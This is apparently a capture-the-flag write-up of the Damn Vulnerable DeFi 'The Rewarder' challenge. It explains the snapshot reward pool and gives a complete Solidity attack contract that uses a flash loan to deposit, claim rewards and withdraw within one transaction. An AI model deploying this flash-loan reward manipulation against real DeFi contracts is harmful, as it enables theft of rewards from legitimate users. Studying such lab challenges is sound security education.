Challenge #4 - The Rewarder#
In order to learn Solidity and Foundry systematically, I have rewritten the solution to damnvulnerable-defi based on the Foundry testing framework. Welcome to discuss and build together~🎉
Contracts#
This challenge involves several contracts. First, let's introduce the ERC20Snapshot contract.
ERC20Snapshot: Inherits from ERC20. It allows tracing the account balances and total supply at each snapshot timestamp using the SnapshotId. The beforeTransfer function is used to update the account balances and total supply under the current snapshot ID before the transfer of ERC20 tokens. It is commonly used for scenarios such as dividends, voting, airdrops, etc.
In this challenge, the main contracts are RewardToken, AccountingToken, LiquidityToken, and TheRewarderPool. Their relationships are as follows:
- TheRewarderPool provides the deposit and withdraw methods to the outside world.
- deposit: Users deposit liquidityToken, mint the corresponding amount of AccountingToken, and mint a certain number of rewardToken based on the current snapshot round. A new snapshot round occurs every 5 days.
- withdraw: Burn the corresponding amount of AccountingToken and transfer the liquidityToken deposited by the user back to the user.
In addition, this challenge also provides a flash loan contract that can be used to borrow liquidityToken through flash loans.
Testing#
- Create four users: Alice, Bob, Charlie, and David, and record them as users.
- Deploy the LiquidityToken FlashLoanerPool contract and transfer the liquidityToken to the FlashLoanerPool. The amount is TOKENS_IN_LENDER_POOL.
- Deploy TheRewarderPool (including the deployment of RewardToken and AccountingToken).
- Iterate through the users array, transfer a certain amount of liquidityToken to each user, and deposit it into TheRewarderPool. At this time, the round is 1.
- Extend the block timestamp by 5 days, iterate through the user array again, and trigger distributeRewards one by one. Each user will receive an equal amount of rewardToken. At this time, the round is 2.
- Execute the attack script.
- It is expected that the current round is 3. Iterate through the users array and trigger distributeRewards. Each user will receive less than 1/4 of the original amount of rewardToken.
- It is expected that the player's rewardToken balance is greater than 0.
- It is expected that the player's liquidityToken amount is 0, and the liquidityToken amount in the FlashLoanerPool remains unchanged.
Solution#
Assuming no additional user operations, in the next round of reward distribution, the four users in the users array will continue to receive a share of the rewardToken, with each user receiving 1/4 of the total amount.
To achieve the expected values in the testing script, the player needs to participate in the distribution of rewardToken. This can be done by borrowing liquidityToken through a flash loan, depositing it into TheRewarderPool, triggering a new round of rewardToken distribution, and then withdrawing the liquidityToken and returning it to the FlashLoanerPool through the withdraw function.
The attack contract code is as follows:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import {TheRewarderPool, RewardToken} from "../../src/the-rewarder/TheRewarderPool.sol";
import "../../src/the-rewarder/FlashLoanerPool.sol";
import "../../src/DamnValuableToken.sol";
contract Attacker {
FlashLoanerPool flashloan;
TheRewarderPool pool;
DamnValuableToken dvt;
RewardToken reward;
address internal owner;
constructor(address _flashloan,address _pool,address _dvt,address _reward){
flashloan = FlashLoanerPool(_flashloan);
pool = TheRewarderPool(_pool);
dvt = DamnValuableToken(_dvt);
reward = RewardToken(_reward);
owner = msg.sender;
}
function attack(uint256 amount) external {
flashloan.flashLoan(amount);
}
function receiveFlashLoan(uint256 amount) external{
dvt.approve(address(pool), amount);
// deposit liquidity token get reward token
pool.deposit(amount);
// withdraw liquidity token
pool.withdraw(amount);
// repay to flashloan
dvt.transfer(address(flashloan), amount);
reward.transfer(owner, reward.balanceOf(address(this)));
}
}